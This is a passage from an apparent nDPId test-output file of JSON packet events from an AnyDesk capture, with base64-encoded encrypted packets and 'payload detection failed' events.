v9MJGfuIvVpoj3KG2rYALM3QfTlmLiMRw13tyYjRZCobkAAlGxSl9tQ4aaoP4\/1hImt4dVAnXjnapHgdDG9URXIScSrOSRpKwDDFVqZxnG14U9PTfMmmymD3uvIqbKgL9rnD9F0\/EN3prWquq0\/x41I9LS1B9FIdItCR7YPJfBLfHUXcGS4tU8G7xtxTiToyrycQEigCcoMR4RQoVH\/FDlO4yy\/X1z5hoyuONO5U+8IOtVmDB9GYzsIvocDM6NGI2Q5\/KecOP1FrtTNK\/V6SpdIndfH3nw\/wQEoqt22VaCBSTLGfrFjnpbZGIRDQDjsvk\/VqFc0geN11AVA0VCR6RC2rWs6zJiHd7cj1WXPFmn\/Pa3YrFj3JxcRz+LwUVVX0unwbUHjRKYqU+cI0an+Z7ZCtVueSDVHkZOZBSyKswT7dIJV4xuB0sBRI1Ar0NuGd+bos0jqkGrHg87OjRxM6Ts2+s3Pn0+Ztz\/2erZGYZil+\/zNx2HLMtjMzjvas+Ecn5Ohhry164DFRfCiVIsK\/AFyi4wR+nyTO3W5fzGY="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1182,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2479} +04290{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1184,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":820925,"pkt_caplen":2940,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2940,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfLNAAIAGAADAqAG7wKgBstOUG56PI3z2WcQtWVAYIA+ExAAAFwMDC0FZ4hNO+msVxlg\/D\/V9o+DunHN4MWBjjQb8wDAph69zDlmXXAb2vJjMw0SydMj52Y\/9VIT\/705ObxbRr8WnseOnDDtK4bsxSa9EU3NaXxokvWQJA6P51VnQl2BOkGDhYxUMp+aF\/9slsd9ody4nH2wvr1IWgctoByBiQegijwjcGhFXXfg\/5BsEO5evNeKBIvKL8HJvztC436f53Vg3Bd6HRT3Ocg6REBwIt1pc+ZoLkpJ7YF6vhAd83wam3cxXaUT2cJw4pU4iZEoQ8zgdopYqa1\/aWOoV8D7+y\/yvnC88qDrpNqbOURaYpf3F9pilVC5Cb0l2empqQHmbhQCAfS3hiab9f3BUfSD2M0sbgIC\/PIzKnhkeC9kL9OvyCwaBI+4SuOyq5jahslhCT0nC2HWeneTOwLVp\/+g2\/vQHzFth4I0xET9YJtwPJoj3E0B2DHjLPPo08gXQc8t+9pF2nyRXDSV2qWFBbo\/ixPLpt997FrztlVX0eyOzh+ucS2X9zjABGy+zWZgOOsdIY9KNz4JlCIVpscnwMa\/hG5EEWrZAksd1U0eYvPjiyc2oeulHNCDZhPT4pBXh5mnD9uDui0RMkqgy3VJzkf7rF5H+ybvoCvLk3TpYUAW\/OOC6zl347KyZZYeTyax6qbI9or7kbnXEL9heedYkTxXyr3oN0lUNOcRci\/pgv7UTUiJpTwfC4qAednhmsLF48FB\/6c5HvcKGC5w19hORHE0ecWLSpNjRyk7rFGr3he1yDPMPw3blbv5pQU9\/34m\/Lt0M8Hx70NsiS6zCmGLWp8zNbi+fs\/UsROPf4EPWbasjvSYtyMJV88WvxUucwS\/GbS+ti1HzCGi2nLUxrT8ov9Gisk1kURpQ\/TAVlSnKs+6Z5TsQMmaoPR0aUhnH1ERqm\/bJWoMNVNQwom\/3F5Wm6\/nSyn8sP1UD4uCK9WGxphLIVF2VqUxJlpwVD5kfU4UuHKlAA\/mbtL9tE3JAe6w7NgOAE02fHRnXYTPu1BuUWOh0RthJEbQ0N23Bo78ri8sZei5em2jCeHjyh\/O0QfJkWjR5luUDUq5PTq5I1Q860UDXIyt9dexKiu\/ynPlL+Uu8Sx8YSa7LY03EP8nu9ZPDV3WYPcsLTN00iwSxBL9meZd5GmcYgjfgFxIzDLUGn+n4OL3tsu5l\/2SFVlXdAP6xUA0Kb24\/yZG7p8K+Fm5j8pj8iJpPltMO+ZMlevVMRp2zoLW3wrbD9MHnt2bUDNZDXU55I9P4r03eh542d0UO3VUwX0yvSUFakSPGeBrXTvbXsFB8BTmAMqeHmtF1g7Ma\/gm8DLh+de938el52xR9mw4uD8koF0fscFY0GUfFYfGBvnG3CCxhtbr0qtGsEbxG3kGliOIuBZ33pOTT\/YFNczb0AKPbFbyATOedtf7G4pkr2RzdqMl+9QDDkvp86e9MGvGRc27tgFJeHXR8mdSo8CZiRNZqwVLL\/lXqET+K80wgxVqUNyJoeVBOMzPz7a6dmG2bOchQpliITwaprzQF9UP5D78Adm8GpEbQN7RD38Iefy+hVFKLgHKEdjvrzpxxSUyiakiGEUDGmYo\/mw43k13H\/z4DCNn6EC2EHCDCbLiLag5nNRg4B1KQiEr2f0y0nJ38ayBMlkq37HJAXjz3yOuw3e8NrkM61cNzKoer4Ps4DJEpR5wOrqaMSxq2vDIVyZbHykRC5TbhRpmWez4utm86yXkYpX2qhb+JJYVQbjgtKm0hDGu9DCADIKBFHZCanpMXIhE5xht+hRnhBN9D212kw4uePULnrcycXzkrsrb4ges7xamqKe90pitvCC3I71X+1UJKrWCeMZHjXIieo\/dNM7YJ6PwdqGbHZ2s0NY1nrXwkjfokXtkN6MpVr9bMuVS9KugMVjY0oAtiDWuafsccOWuWNwVH+WiN4gT7yAl+a50vIvsIXAXHVWYVkk\/GbaqkCUOCQJDjfjTxZDUBd072k6buP7NCswdu6CncFAKF52OdZnigRZdWbxQJSCsN7TPM6U01e0G+9FOGOmzel12bQxSrb\/Wr5T+20tG8FzOUFtzBiQsatiN2oO+sLJi+8mvZHvUPJX9wuZeo5lo92lcGjuDYPVV3TPPc\/1py6R7FnSd3RB\/BMr0z7nLYZwM7BzQnbrWPJQTcwOyyD6aBc18MlJDUbwjAlBjQLlJ6BKcNABDvh1xclmQU9h8Y8VzoH+C8IGl8W3yEyq3y6qUBhTqGvYZdaMcFFf\/QfQW\/Mcejfb0tR0O1dKDcpJWDN0ThkjFph3LYwMFiLU+FE5F8sFRUboI6tE5kYhCt\/M3G5OpEmgZqdD0pLb8z9N3voSj8990CbESm2CueSWVrDl5X2ynP4Vxb5dpTj5LnduvBcvLyghk9pSgsjsfbpZdxvmiQWkikZUo3SC9+nQzemQ6p9f\/9tw0SpDkHpomruURpu9UKtaY7DhNHGcKuJXm\/ZqROttg8FEEGDxXDmR3bY79BR6HF4aBqaTmLgFbRbC+1dpGPFm+THVyAmgIkNCrivdt5SWq58hN2J1HVHfA1MFS\/8DCuhJd3tftJVtozRyWn5YDVvViPM8pasDUOYSnWRVyBD6RWdQAVI3MvePFTN7oJVOvauSWsXBsMLCEM8iEXEAcd11c\/n9JRjjKfnULU+TXHDAxWs1DHZFGhejRsKDIhTfcE6vWA3gx7quo6d6EAsMG5wrbJNLJL6urwIiHAw6AzvNcKOQqbhRSaCSv4MDSViEyngX+f3hfl\/C4jbQGgK9kc+L7G5K7dY+QT8OyPG18YP8aiRjoP7XOuM5P2mfjMqRxM2DIBfo+IR4sPB8S31p4ZxR7UZ9LUEY5PKwnKO7XrtbAIv3zWkrKS7pMDwtbCZ1PnViob5+tMTUL853qZ4KZpn+ra\/NNJy4ntNDjQPKC9GbPA2mXtdlcWF8hmnKOTSgitPHFmWF+7EiLWVnFmkKpE7ihLO1bl\/MVr6TgTFpENNVKCJpQvUDHXSkXaWfmuy9k4R1EOoXiKDNBOj1BTzcsev3bL73YZsw6tok93m2VUgsFu0E4jiN+o+qjDNor6ubIsW+x3IQixfDvvq1gaAfvHnbkw8XvrVpg+\/cPzuXU3Md3wEo8uO5kswvQYnszzO7g2zOhsthNRStvdwhXYYAh4TDmbr5FQ3nMyjQWer9VT\/4cNtCD6NwwVvix9LtORLDZ2qODlszT22tR928\/7hxkuRb9zltRU5GhqD\/dYcOc5QfE\/tDYWk5TBAWXZx7YAFHU6atVZgWDTyOs49ke46N+s7vKwIRExGa3Av5Ni+Lci+bxTdaZgPKcvLGhCErAOEWHaMkjLoTjID4IALeU3jM\/5yoWZQSsLJXWCVHl5RGYGZ\/SYAf0X1qTeok7a+SVxWRXWFCvdne6hUyf3\/0u9kGIUf\/J5HPZCAjwTdRGf+5ckrzxZWqKfpAUwT9jRxm2EiRkYGXV+3KpUe\/Hap7HICBnxJU7jFRcS2ZNLL2zvd8x+WQimmJZsJvskBywFAaBiSkwaepqKroj8LnEFji1s6rQsnGGnKfGMsRtZLS12996\/u\/zOPwuwRUCuJrF7XF0J1xXZSU+UnSTYzlbyEesGsr7QP1cjv+LWAbp1vv2OlzmLs8380LSBcSTUPiYrdtLWUaGhGuvktdp6f81vHQ4HBZPvYndVd7jcZEzavLR1J5mzon97Nq\/bkAGNq5A0b+vPo4\/9N+C00j+0jK+BLSevHNImzBvK2GCnlHcn1lH7\/Dtc+rDGnJr8SyHmuH\/UF+EDrlKq6pQlDgx2yEMB9p+eh3SvEqCMx2z1Tg1GEsTA51w3MZs4EFZ8u3Hq75xtjUfw3aOWwVcmIzSea8UJ"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1184,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2906} +06351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1186,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":821221,"pkt_caplen":4459,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4459,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfLVAAIAGAADAqAG7wKgBstOUG56PI4g8WcQtWVAYIA+ExAAAFwMDETBZ4hNO+msVx\/3zT7DFG8sMiQT\/axozHYYry3Ii7GSkOSD4HUwYh31Ys2GcPkI4+ZyNjjoSGI1idj4MqcYC4OVn9ipPtPtTwHB0ZJ2IDBTA+hNTGuOX7l3mFV3+g+CZ7wuyD4uj7XdwdaGQlDFIqCh+XcoxZK6XOJMvnmm0r4vIWUPoh5IqUIkaKRc3y2mRZFD7H9t1bnuwHBhKq5vfmQGkF+z44RtYiyOb9MgIRLyvFNFn4qB\/BrLg7rSA5CBH8hQSbRWhXayOILu8cuEO56cgeoJ0k0DZqk4JP1p7Ul8gYPwcVVUUj333LUS9xfkQf7umT5ZGqbuqo5x58W\/2n+LwfG1tuP4WCJv\/2bB5wBaJ8S95doJKRbOlyvGSE6wmvBscZ4WOxxI1QPMvmbak8GfdxG5cJ\/JA+emtn5O6orWtYfiZwtVjWuSR3E\/Qv9y2UAzoEel75RPsD49YAd4Ro\/1qJjadiCNnelMTYeTgO85VW\/8jKZYOLr6h3Z\/qOVuaT5tmieXT27uTDBj0JyncuhXT2yw9iGEC+HwVgt9D8tUaKpyLcMz2lPWnnMxR+0Yu3TLOqWYqmaSO+gyp31tKiLRj+W6bRHz\/oZBN9c1BXFdo\/wVVbW6779GvBzefvecX2MIceqrnuuu5Vuc6TL1cTlHqgIwLUcISDe0QyD8U15StRn1sfUA7jTh9rI9QtplaJVCPlvTa\/hCE4FovWVTy0Zp\/ZFmTVYXpbp9F7yglZCh6DGgrbJ7ocBTIZHgSaDzPN2nDVUCITAkZ7nXgiyNGmtyjAmTn5SxcMaSTjuWzSy\/nwtbLXn3rGSABo723VPCX84ZDkmUMtPaJiO0ditp5Gl9h4Rr46BI18TBVC4JFDQVuzdDJ1SPUrbTZgsIYNPQ8pI\/yIfMgHzMuROQUhQdHhMgPUYuP7FTIht85L53gx3PUyC2XeTK26ImgxWzVP\/bDxwHmsE9tZNHbrUQIdiBUDTrz7rW7w\/2Pw8ulxlXUozZjD1nzyfAZ+2o4wmprXz4PiixuzhJs9YgqMzNhZJ7aj0fFJ832GPvsa71D2jtovZb4VDY8PRHRodg2KWrydyU8wo8aFkjMSs9Yp2hh7RM7uOvvRfyyGRkt6v7todIGCyB57KN75DQfTEt8vNBMvGAF8uw3UoQ4emHjOuvtOzsbjR7\/bFsE2FsvWuw7CXv5PK757xmDBikiw3ZIxgaxx1skVJpaCiWU\/KdK42ccmulJonduk\/CH\/NxMEm6frEET4nnmn7O86v\/TlE\/ICaMmf6Ka86s4W1y4v8T\/t3wiH4olC5nPMnw4ZDyB42ptoRaP2o4mTyA75Boypl5z25TmX0YLtCrZbqUVTZYimPnJ8GZsO72J3ZYPczFVQF\/IW8ruw55i2pXQfnZnN3U7j49TXQ2ebnfEpKUPSgu2HXL91ix9clTBJLPi6umo1gldQERQLCUfhBY4eX+UNVko2\/Vh2VG\/nOyjuEmNF8mxQr7MXZ1ZlbTizZgQ8RRtUPb3BtreBsOWiYGVUUl7oWioX1dMxRH0V++gV\/KPihX2jJuAc5Ca3xQu35GUSHAyYDtkewD99YfmUd9DVT6FJKgZCiMm8IW+54u1Zde08DkogdqIo1tA6kQkdxUYfO99P5F1cXdFOrX7Yhb33IUpklSEem9aFjkeFlVvDq6fLTI3ZwnO5NvufebbkB0Zj3DnYnyQJy1R0tFN1G2mLmnGCvRFjCKKO8qGv75pTZHXi8N\/YyI3Pb\/5clksOfL24+dd2F09+7Pm2LOhJVRAU7SqryrmcfVSwe9ySCGeq81zvl0kylnfYYTl3Ws9p6iRR5GAvw7IZu7kX0BpJzi\/kceVE2v3OILDW1tVPUplqsAmVJKL48Fp6OCuymXlMbjjqZTVt+EvYHZVfakcvqBRirfEqpDYieKjCTCRFNtX98NDIvZwR0A8UW13Oc6n9TP\/zlMQK8o8xXFriV+N4BDVyFsIh1JWyb0A\/4FDNho6HaioXu9QAHRa\/P9+mbLcOqaQ8Uhr+orLzNXln7O6plivwMzIPKQjMBJjc9HZBYWk5ACrU1MmwPnLZ95OBRvPQ1eqhcruD2jI49AN4TVCTDvMH7wuenQmDBw5gClc4NOkQZBxdSoDb\/mZ+cUlfbmEMrsiUkDKzke+GIHR\/r7uzCL\/5j0Y7LZJTGFsMGSGE5nIFxLNd1B\/Hv2C8w0r7rKze0lsbWxp3v8PaUEdALi424l0vpDbRIXEaXQywgzTWMaXfZhDPqJTolXZIFoRe6ZcxTWogaWGrQ88tpXAWnDTXrpNepNlvS\/C75YGi4XV75B9hpLwulJM56mBKqpLKYhbZeH5Anx9p0w0JJ1Kv7I8HNWK3P4xi4Jn0fnNZaKOni8h+V1JJrzyg3OJdDvw+VJSqWYSuHWjm\/fqJJMK\/2Jd+dVISDL0U5d+wzJsnjjQ6QQsPLeu12vssxqEM9TODopqZg+XCTiyAf7J1zg4FSMmiejWe5V+h8Iy2a0ExjniHpE5FiLQZxhMC38dEGYVFO\/LEontAGTocFWG9HaqMsp0BHYVZcpy93lFx\/WZ+xJCjVQ8NpOC0AfgqwLwGCGwwhlT1nke7wjDMLpSTHGp0xbweq2yFL8pWo9RnVJZ9IrJOSVsxPzWIM54oxYCzrFDIHx+sE2mteMMzyt\/ZSN0+PoThSYjRfojWWhNYG\/iQc41fTDFsi+MitDEzmjjs30a2IBNPyDCtfOPjkPCJP+4\/MT0ZCI0O+K5clN+mhfOl2MGknmLpDf4w4OVTF+hTdInhOxmQ67AWGCjjo97OzBnB0U7jeGj8uoucuRPUc\/\/MRKsk+SmnXm9xqkvUl7AHrOvYfMVFYrEH5gd9oP7cB3l3dDXIU+DJA5LDiBnISJEbHN0zKXk6twzhWtlDh3hOf0pfklHIueAjtoUsCrjlBb\/+zajz3lu+k8tlHRlPL6DnqAQDDGgotxXxEbpXwRLGtuPUTXn3ZvyWaB4IFpLg0CvwK47N5MO+5wVYTCwSnpaaXwb6Ih\/CkYSJ305Wdg5BZFuRhLg05rl6fDGVTxekGJRVmdge2HLpcWP+rT0AMTFDhAMHl8xV+\/zK39TpHY0b5HHu1hDV5lWown1Nu+xrUSYSTstbtXgRHR+YvTc3FZO0lnwBCBPGx0UOFZKPsFKSrXB6BMiTUSJ3TnmBF27kRKkoTgfOouFAlRtQ9W319w0aEpopSgrUptCZqxCfDmH7NR5k0A+VPJN66pPE4HbqzvjPjqUsiYVASa+CPPG1p7mxSmDry0N\/YUQkAQnsD\/2ALz7ZpPEEIQVrwMysQEC5z\/m0CUtlv0zIIgAsQ8r4amDp2tc+zeX1z1vqvKz7rh5IY22\/ptI8Ed6CNj8FNCwhRpxQtuBsjOPSwpdcj3EOy5wwoxK5dR9vK08wFDxZTXThBDHYwpxx7n4M4\/AUAdyeUF9lTgFKRO4WVllilb9MkTu+WvXrwDjzieNwJCUQ3am3akzq1A0kI+oeeoLtVjC3Z6YxhikBsUVI2jFVO1Q7Jzd0iLGuyB9otl+Svc0VPReabyJPU8f0sgybez4wicKusEsNP2z3ezX6rC+VBJZ\/ZWXsdQ2haBuNts+H78R0grqNrhi923yXTKjmXL8lXzqX488snaYFCDMVtAAXfCi3gwp6ICJsa4vtJd2Rgr0gTI3dcLNsHWAs96E53SpUE0fa8yDZrVoFWVi5ubCKub4i7gh4rhXf+mCwgyNYqMxlgZStY5t1Mno3IGCRwclA93VlCGhWyeV8bSmSJsG\/EiWDGMmscSzpMT1SWZFa20vEjch6JwEfqa3x1rgtDSH5Y7TJKzdI+3yAMtWsipt7lfjfYWej45s\/VT8uhHlWJVM2AIJf8wQDb4v+fRsVp5GuQknKAQzd98fM8aYLGfll0EiqtkyiTEhIjAkxJw22lrEuIF1Po4NTR5DP4YuTDJwD5H5gSswNPi\/uzK\/4n9IAqonVT6gcBTWbBxnkUn2XHFrB2E3GOjzkQgAo2P1ARDESyPm0qapBgwst+fHfWCE\/AxI+kdnfyI4U5SSpMSPQVVljdQT9trOcMqtvYLi3uLnyKt\/ry+6dX5eSa4fkcyUweP+2h\/Ydxd7EIwUkXrn9cwwKzrS4zdpRbPqE2Odr2dTnCmq9NHr5aqZt8rxhpr\/Lc4PzY6Wl5g3+qmd9YHBW2Qu4hrpNYc\/qiIu30LI8yOu0H0Fui\/Fj3MwPcjqkj4k75H0cYQ76luuHODrzL51BNJUe20hRJiYukoK5nSHEzRdgFzSSxAe+O5Mnln6GhpK0HyVHtFPq1A4JQSIQAA2aCLFj7yDeInPJ6Ku+w8aAHVo+5DotstYsr5hQxT\/nbc+1bGAnHUNqgaZ8cj32CBwwvKUmsaUbNWFSia7s5nKeNDx\/ictkZDRuyrHB97pDvH\/0BAHCDv17SZ2Eraxev2rBPDuEFh1kezPMNAdLQdGkvPiA2njFZdrrRc1FvWz7XsLIPyBMvNJSrqU6yYOmjUqa8ALSnPTTbCaNDkxx3lVO4G3GI9xEHMrZCRQgfgLzbHVpHOaBfQlEJS6p0fRmLPWzRFOUG7fvqu3ANp0gjUZHWZ8ujOZ1WjOE9YWpdtQSo5BIvTDdc9wqEewoDDBYvV\/6k\/S+jKb7x1r\/tU\/TQQ3cSJIcIa2BIFAVKwNqW9JzfEI7beq5IhdVUCIZlFrVGt40228ycRpsC2k1F4ip0qCFtrq106wri8cy8fJYmk2p+hZW91iIh2wj5r01j1dPSHUwUU5v6aSqqHziWMqZsVbtSlSntSkSqM0KEBk2snSKOnkVSakBcufSm2JWqEk1ztlguavuV8KEerLLYH9HXKrGvudmOxhPteQjpY7tKHNHWZ7DzqIS4ZWOQmg+DG8vYhIYXM+xyBgWws7gyje0K6FyRTV\/ookLZSJEYPVQOenuCCps0BnkgSVrIwb4Uk17O4AwSBHlKcCfjpVctmrlamsW6VcQ6fAs9glODy+3OPIQpX2Pn7cCLz1jpBvIh22Ks7gSMNnI1Jbe5m7jI6ORkj8yqOBqCX++\/NwfpFNhRFBduQY6QIfoSUqsaE1dc4dOeBH7TopdirzSdSz8O7VSXmNNCYHHR1T+bKslbnfzAZ3xKmEj4RXmPP9Dx7sXmfyu\/xUMsNmZK2R+C9rQQpS59ZUXKFbmxDsUExo3SFlIWmOOT3QVgZXe7cK3Toetv\/2R5kbp61W\/Wd2juYDxGZN52\/3Lm+H74O5xUZuNKsPQh23kvoo4GAYWw9rpOeAqHkZnZvkKSBIdow4tQ7dQy0zLEAfOYXD9\/hy\/6ECullO7quCQHLuYd7yffeQk9qs7vdUhc01Qcsaj9dv\/\/QhNfKGK+UA1\/8gl6CCURoQNneGfvPEFh90ERl13bTdVkUh42le3Wbx9HXFu4tGJlq4K6aD\/xy7cnZSb231y8vdBhjPYZpBNbOcrLTjwz7g8cqt2K0vgLXdC7iplVSm8JeDCMhmEF1QPWhAs+mzyOobZ8KeWHXaYDvDb4ZHjzF8A9vn3UB\/fpT4tHD9\/E1OLbnWdfs0cGL\/cCcEx3gj\/cGHetURfS\/9qUBg4fI1lc8I+zkdIDcpGSjdnaxjCVmMIrP9\/DWW0fpnrLyrzoDtWmYQB9il6sq\/XxxJivjV0gZ0YwlZx18LcXZ8Qg\/BkDE9JonJ1rE7H3TF2Ydj94ykGQGypJ0OrMe+FikwdCNDvo7+ASq0vcg8lmlctrnBhXgVh56LoTwl5tMtD0lLFac+0Pf0ygphvs0Xbj1qLQUKUT4QqhzxddMduatbm08Yabo4op0RylCoxLpxju6\/\/ChPTQX4LFkUAXu52uS5t8DHgqUnJc6OHizL0K\/Ni0wmCRVgfmjS0rx376lJkX6MvHznQrNjOgKpNQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1186,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4425} +03268{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1194,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":852043,"pkt_caplen":2177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2177,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfQBAAIAGAADAqAG7wKgBstOUG56PI529WcQtt1AYIA+ExAAAFwMDCEZZ4hNO+msVyW+Nb1uQ+sJ1NIgV1nzB7h3tTFwnc4VorCs4BitkMS9KTTTCsXtvi\/p8iAjDHmUL38Djs6NZi618jH+HuJQeSfSt5V3EDGpj\/8r2aDYa\/AbMx1sErp7+abKGk+KtMoWYYWEldIHzjhElqKUUx0enFcTkTC0Cx2pvghEMgi4\/\/CQ71Gualt3r5lreU9PHpp2Q1ol4\/gRmIHGGPXv0DwW4ydFmZdKKF19dFjY\/CpzZ2Hpzfe0t7w+8B+m7RkLqp3IpfiNbUue08ZgUPN\/LwLeCvO\/5DzQ9v7bqe7WxcxSQGJ7jb7ON7OkOpP8y3etqHd5idY\/VwYARUp4aKV04pQ9j\/EyYvhi3rTUSSWUmGHOFFyrTdiA78VzlMycL6kh05KehaAL0Ho4Noy0R2i6gQ4oNehwiMfrvY7JkCcI5kP3bNP2eh6H+WozsR\/tlD07kmiHeOPPLWZ63JRUXV1Ki1kXQUVMjw56lDQHmYVWfiEgrct7nGVeCkcPkZV9TG3FDzuVB1Hgd1aaCBT3Ayb7nFDG7OGAZL\/xcHqpqlJvd4BPzS8VruyBKHGE62JiUz\/JO+PVDXmqAJi4a6jkp3MCuGKZp0emqn2QDEOqmPIJQmfNAlNtt8F+6CDDH38toCj\/s8Sj7nyeiZbGypvqIFiekaZu\/nMtV4mNgXy+DhWyNJJjbWLfplY6nLzqUZc6jY3OWebyNSFFOvg4e0SoOGeC+B+XCuS0\/0pSHhSamCFl\/mwHnh+7Vg9NyQfoGY11uzFzgkG2zk42BhZYyjcgZdR7KWMJsvWqpC\/86B0luGOR4TbQBd+pYnX3MjZkl8DEbTXHcVwpnRmfU5YgI9TZ+Z7b3326QvKye6Zt1288\/qXUnCKivLyYmbuQwmRW3PoDn\/3tIX5ZH6O4WaxxCIMOjAeB19TLgps+mXaPwbEVg9jCDJtuSwwv9RT1BjByOcx5HdOM7sSMDwADqPVs0BYq1nz\/oFcD\/EVhfm54zuyn1IKn2t4QPm+2eEZJoDOC6LvzFj3HeA\/gV+VuEbgFd4C2agwkmIVWWPNmfN\/Xm8l0k0IKuReuWUhEGQyXpAKXz+JMVSy0rEeN9\/za9zqsl1WVHpjni0GJJ3xX5DP6fZMebkFrxarQ14AVCMMKqUWtdOj6FZwwY9w78G4hgF9H75VoYtqsj76diz9jXGFopGnY2SUzLtlYB6kSTO7MoNYrQVPaxUSKU4zDkrC92EeaXlOQBzskhxHVL9xd3ck4tuN52uDbPLyGnikUJCBgZdHqnDYho7VaZOWd3wibJnBkCTZmE41Z+b9ywz0Nz15o4etOTCHuQEpLlClqQBSjsDOoRWiU\/RHeJDsukssdA27EnBxPF6bSC4uRYQEtJaeUjusXNi7Bk98AsIMBreV6rvEQEGcL7\/oqo1ITUOqjvOmYRy6xr\/Teu6+oT+JlcztZ9HyNddY22nCZkOypBDBQ2eUVdMxkggSwFSdWezatQ13DnclU50\/mQhXKU1NoUUathjFVCm87ikajxXu3N5R1wH4n9H8ve2OGEW3NUHioHW1AEfT+oYNP3BgiCix3bbdDn1zmnrwlw\/9aUVxJRLZHPSb7rn9\/VDQu3AF8sgJudpyGbsXXymedvL43HDZlXkIXsGQOZlgxLfJIoxvvgjEZUDS6xH+vabMrtN4leQF+uime8ZLDQLMbg+nzudOnXcBWdnZeDdAVW\/95lzgxB3JIAyzTSQCcLGTkjpgul57xWuUEUFfD+OWKLmfNCBExTgK9ZhGLDRjxmw+OlTnjzY6gY2vsyekQvac\/jce5lMS\/UO\/cc0J8SY8z0VDR6WtqVzkrdRjWQlMY9F8MqbtrWlTQBEpy4vlJ6gJH0ucs0Rdx3sa3qC8a2jAI0v7EBGPPKiLo+4NZXpNUIiIHjUgTN1c9HUclzDgFtFS7LbLo6EvktQGZywH7AsMzzIcWqSuGJMgxKzJoPCNulmVJiy\/3KwpT8BWYKX2PF93IuAr9aqg2OjZ9Zad\/3hjnmz18Lhl2mXeye12Vj3DF\/pdgihC2pr97Xa1WrDNni1OkVm\/YQKJ5WgroSambLLSMU3P13WfpB+S8pAko6G2sVlJOiMMwebgEPSHBzHVygJxZl\/zvaR9heCvsKYPSyRlwo5QJgUkv7GE17sp5nGszPp9\/OCzK40tIpSv4kRej7bijhPYTsHQ75xnVAz3yqioURVgQm2IkK99kpvxGFI7Xu3X\/RxFlbPhYLV0dqgzgZZmtVsGXCyQxHgBHs4yi7f6a1QCiz0Q7\/OIrECy1JJ7C+\/xtskvMrlXJwSVXCGVlylAyalwkNUSOy6uRNitcurdP4A+\/fV6pRxTY2OnYKFOm\/wsquF9XXivBUWa7tvV851up3XNzFB4Gd6X52ocypiTT89KAPk0Mt\/n2szYTPkMHuez02MKNDNZn7gZjFrIrqydyniCRLVVJkLPjVWcUXAXnmQzmZdh2LVrHu8wiPk6cAx0\/PZ5pfmkNlnupPjkNw8LeEPl\/LreZ8oA\/022UWUQB9gU\/HjgF\/6Rb5O\/I\/Df1V85InSifirkWxKVa5jNPur+gtY4zyJdTGDUmM35ms\/IC5EJXO\/sZsYcKcdmVzXjnYI562OtWetpr4RmbfxdK9f4f24Vcx3x\/CI2AJqGp14TO5KCD1mzEyTWoT3gCe92uKlbtp75pRhXrM8sEq+EJ+1U+rg+58jr76z5M3N8iUJDOwgj8AcfGp0DD7JCWWTfQn36mvBbUF2rkewTHd8+U48sLT1dzrwdMiB7r1UOu05lW3y+yMgUy7xS4AWid0kynf+vOFe9\/h2lGemdbMDeUOpxF3kjE="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1194,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2143} +04958{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1196,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":852403,"pkt_caplen":3435,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3435,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfQJAAIAGAADAqAG7wKgBstOUG56PI6YIWcQtt1AYIA+ExAAAFwMDDTBZ4hNO+msVyp5iR1dNyHv1BxxwwXcHVfRmi2Zi9uR76ij\/MqKjInvZb6iypYh7JTdppE1nzh2a6581WeZvi05hxqQmqqw+8ISAVJlXrW\/ggx9cfjbnHr10b6kTdSN6+a+4MrfkD5snncZhruZDMWi2xiAmRCa6ntwgfjAfVH3JYNX\/spccSH9iMZSFhCkTBbSpOea00jxaPf2phuwlskPKh9Za+Y7f+0lxU9rtBCSyO29DmoW\/d82JPHkMr6scP8qVGuaSS0NQCYJQ0hppRFFaA+vo0xxvwykK\/qVcNb7nAGN7CeNcpfEI234rs6Ml6wcZbFFhd1go1hCa1p9lNWoDwaENwJ48S8fQVs7GYF6ujcBcnkj4oGmHOsADGPi6rzrfTFP+5WFk9XqE1W9UTWaScnFeZ4cyIi5bsREF3etQQe2etwglyyQYK5Rb41SkbAs3R\/UwE+uMrD\/vwGKM1gGJhW1bsCt8jrRxOyluhD4t5K+vdxstk1Ugy78v4yA7ZPEBH\/lZjJqQV\/qqLjIDm2NeebMHffW53v+S3mGmKWo9JS77BCL70+u8WXQFYRaWdVSkz8nlEmvMDHVFlSz5XeXfR3FjA1qdnWMRQbDzi+IWJMf+sMWGymKfFIUbkhLfH+244WT3FdYNbKFkbSI+PoWwa1WsLn9z64Gz1ysw9Jk9kA4VTYNsK\/rXrM1nX+WrXfU1FGKo45TH8TyyclgptUzhfCQ4PFVcpLBqSYqObK7s0NBhA9poy8PpRhdCrlFAUWd57BPDAdxw60SLbN3E54iWqnbLrB23ik\/lOr92w6BpA37w7kAexHiYX\/p5XKx2NXTEf35fTDbI9p05pOnYKVPmGcy6ifKZBw2v8KcEzYiU7XIYR6DJz\/0TiPHi+K